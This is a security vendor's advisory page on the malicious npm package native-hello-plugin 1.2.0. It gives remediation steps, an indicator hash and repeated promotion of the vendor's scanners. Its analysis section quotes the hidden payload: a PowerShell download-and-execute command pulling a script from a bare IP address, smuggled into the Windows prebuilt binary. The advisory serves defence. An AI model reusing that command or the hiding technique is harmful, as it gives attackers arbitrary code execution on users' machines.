Which versions of native-hello-plugin are malicious?

The following npm versions of native-hello-plugin are flagged malicious: 1.2.0. Treat any of these as compromised.

How do I remediate native-hello-plugin if I installed it?

Remove native-hello-plugin from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed native-hello-plugin — how do I know if it already compromised me?

If native-hello-plugin was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is native-hello-plugin part of a known attack campaign?

Yes — native-hello-plugin is associated with the IN-MAL-2026-015803 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find native-hello-plugin across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for native-hello-plugin (version 1.2.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging native-hello-plugin across your stack and pipelines.

Malicious package

native-hello-pluginnpm

native-hello-plugin is a confirmed malicious npm package (MAL-2026-13350) that executes malicious code on install (malicious version 1.2.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in native-hello-plugin (npm)

MAL-2026-13350

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall native-hello-plugin

What this malware does

The shipped Windows-x64 prebuilt hello.node embeds a PowerShell command powershell -Command "iex (iwr 'http://89.124.113.217:8000/update.ps1'...)" and imports system from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported sha256Hex function is the visible cover; the JS wrapper's register() calls native.sha256Hex(...) at plugin startup (activation.onStartup: true), so loading the plugin on Windows fetches and executes an unpinned PowerShell script from a bare IP over plaintext HTTP, yielding arbitrary code execution on the host. The Linux-arm64 sibling hello.node contains only genuine SHA-256 symbols and no network strings, so the malicious behavior was smuggled into the Windows binary while leaving the wrapper and Linux prebuilt clean.

Malicious versions

1 flagged

1.2.0

Indicators of compromise (SHA-256)

385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for native-hello-plugin (version 1.2.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging native-hello-plugin across your stack and pipelines.
If you installed it — respond
Remove native-hello-plugin from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If native-hello-plugin was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks native-hello-plugin before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. native-hello-plugin on npm has been identified as a malicious package (version 1.2.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-015803

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks native-hello-plugin-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database